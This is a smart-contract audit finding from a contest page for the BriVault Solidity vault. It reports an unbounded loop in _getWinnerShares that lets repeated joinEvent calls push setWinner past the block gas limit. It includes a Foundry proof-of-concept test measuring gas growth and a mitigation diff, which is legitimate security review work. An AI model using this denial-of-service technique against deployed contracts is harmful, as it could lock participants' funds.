BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Iteration through unbound array may cause Denial of Service attack

valya

Root + Impact

Description

  • _getWinnerShares function is called from the setWinner function and performs iteration through an unbound array. A setWinner transaction cost increases significantly when a lot of participants joined an event and the usersAddress array becomes too big for iteration.

  • Participants may joinEvent several times with the same countryId for each countryId without an additional deposit, and the usersAddress array grows.

  • Gas required for the transaction may reach the block gas limit, which will make it impossible to setWinner and lock funds in the contract.

function _getWinnerShares() internal returns (uint256) {
@> for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood: HIGH

  • The exploit will occur when a lot of participants joined an event, or the same participants join with all possible country ids, or even the same participant joins with the same country id several times, so usersAddress becomes too big to iterate without consequences.

Impact: HIGH

  • It will be too expensive in terms of gas or even impossible to set a winner of the event, causing the denial of service (DoS) and the impossibility of finishing the event and withdrawing funds.

Proof of Concept

There are 2 tournaments in the POC:

  • the first with 4800 members in usersAddress array;

  • the second with 9600 members in that array;

  • in both cases, only 100 participants deposited, but they joined several times;

  • Steps of POC:

  1. Use briVault contract deployed in setUp() in the test suit briVault.t.sol:

    1. Deposit from 100 participants and join these 100 participants in 48 countries 1 time in each country: the usersAddress array will contain 4800 members.

    2. Check participant's balance - the only one deposit was performed, but 48 times joinEvent.

    3. Check participant's shares - the same amount of shares (= minted amount on deposit) is stored for every countryId.

  2. Deploy another instance of BriVault.sol:

    1. Deposit from 100 participants and join these 100 participants in 48 countries 2 times in each country: the usersAddress array will contain 9600 members.

    2. Check participant's balance - the only one deposit was performed but 96 times joinEvent.

    3. Check participant's shares - the same amount of shares (= minted amount on deposit) is stored for every countryId.

  3. Compare gas used for setWinners for 4800 and 9600 members in usersAddress array:

    1. gas used for setWinners for 4800 members of usersAddress array = 6_165_087;

    2. gas used for setWinners for 9600 members of usersAddress array = 12_204_384;

Add the following test to BriVault.t.sol

​
BriVault briVault2;
​
function test_setWinner_possibleDoS() public {
uint256 amountOfParticipants = 100;
uint256 participantInitialBalance = 20 ether;
uint256 depositAmount = 5 ether;
​
////////////////////////
///// 4800 members /////
////////////////////////
vm.prank(owner);
briVault.setCountry(countries);
​
// 1. Deposit and join 100 participants
for (uint256 i = 1; i < amountOfParticipants + 1; i++) {
address participant = makeAddr(string(abi.encode(i)));
mockToken.mint(participant, participantInitialBalance);
​
vm.startPrank(participant);
mockToken.approve(address(briVault), depositAmount);
uint256 mintedSharesWhenDeposited = briVault.deposit(depositAmount, participant);
uint256 storedSharesWhenJoined;
​
// join with every country id
for (uint256 j = 0; j < countries.length; j++) {
briVault.joinEvent(j);
storedSharesWhenJoined = briVault.userSharesToCountry(participant, j);
}
vm.stopPrank();
​
// 2. Check participant's balance
assertEq(mockToken.balanceOf(participant), (participantInitialBalance - depositAmount));
​
// 3. Check participant's shares
assertEq(mintedSharesWhenDeposited, storedSharesWhenJoined);
}
vm.warp(eventEndDate + 1);
vm.roll(block.number + 1);
​
// 4. check how much gas it costs to set winner for 100 participants
uint256 gasStart1 = gasleft();
vm.prank(owner);
briVault.setWinner(10);
uint256 gasEnd1 = gasleft();
uint256 gasUsedFirst = gasStart1 - gasEnd1;
console.log("gasUsedFirst ", gasUsedFirst);
​
////////////////////////
///// 9600 members /////
////////////////////////
// 5. Deploy another instance of the BriVault.sol
uint256 eventStartDate2 = eventEndDate + 2;
uint256 eventEndDate2 = eventStartDate2 + 31 days;
vm.startPrank(owner);
briVault2 = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate2,
participationFeeAddress,
minimumAmount,
eventEndDate2
);
​
briVault2.setCountry(countries);
vm.stopPrank();
for (uint256 i = 1; i < amountOfParticipants + 1; i++) {
address participant = makeAddr(string(abi.encode(i, "second")));
mockToken.mint(participant, participantInitialBalance);
​
vm.startPrank(participant);
mockToken.approve(address(briVault2), depositAmount);
uint256 mintedSharesWhenDeposited = briVault2.deposit(depositAmount, participant);
uint256 storedSharesWhenJoined;
​
// join with every country id
for (uint256 j = 0; j < countries.length; j++) {
//join 2 times for the same country id
for (uint256 k = 0; k < 2; k++) {
briVault2.joinEvent(j);
}
storedSharesWhenJoined = briVault2.userSharesToCountry(participant, j);
}
vm.stopPrank();
​
// 6. Check participant's balance
assertEq(mockToken.balanceOf(participant), (participantInitialBalance - depositAmount));
​
// 7. Check participant's shares
assertEq(mintedSharesWhenDeposited, storedSharesWhenJoined);
}
​
vm.warp(block.timestamp + eventEndDate2 + 1);
vm.roll(block.number + 1);
​
// 8. check how much gas it costs to set winner for 100 participants and 96 joins
uint256 gasStart2 = gasleft();
vm.prank(owner);
briVault2.setWinner(10);
uint256 gasEnd2 = gasleft();
uint256 gasUsedSecond = gasStart2 - gasEnd2;
console.log("gasUsedSecond ", gasUsedSecond);
​
// 9. compare gas used for 'setWinners' for 4800 and 9600 members
assertGt(gasUsedSecond, gasUsedFirst);
}

Recommended Mitigation

  1. Do not allow participants to join with the same repeated countryId;

  2. Do not allow duplicates in usersAddress array - push to array on first join only;

+error UserAlreadyJoinedWithCountryId();
function joinEvent(uint256 countryId) public {
if (stakedAsset[msg.sender] == 0) {
revert noDeposit();
}
​
+ if(keccak256(abi.encodePacked(userToCountry[msg.sender])) == keccak256(abi.encodePacked(teams[countryId]))){
+ revert UserAlreadyJoinedWithCountryId();
+ }
​
// Ensure countryId is a valid index in the `teams` array
if (countryId >= teams.length) {
revert invalidCountry();
}
​
if (block.timestamp > eventStartDate) {
revert eventStarted();
}
​
+ // push to array on first join only
+ if(bytes(userToCountry[msg.sender]).length == 0){
+ usersAddress.push(msg.sender);
+ }
userToCountry[msg.sender] = teams[countryId];
​
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
- usersAddress.push(msg.sender);
​
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!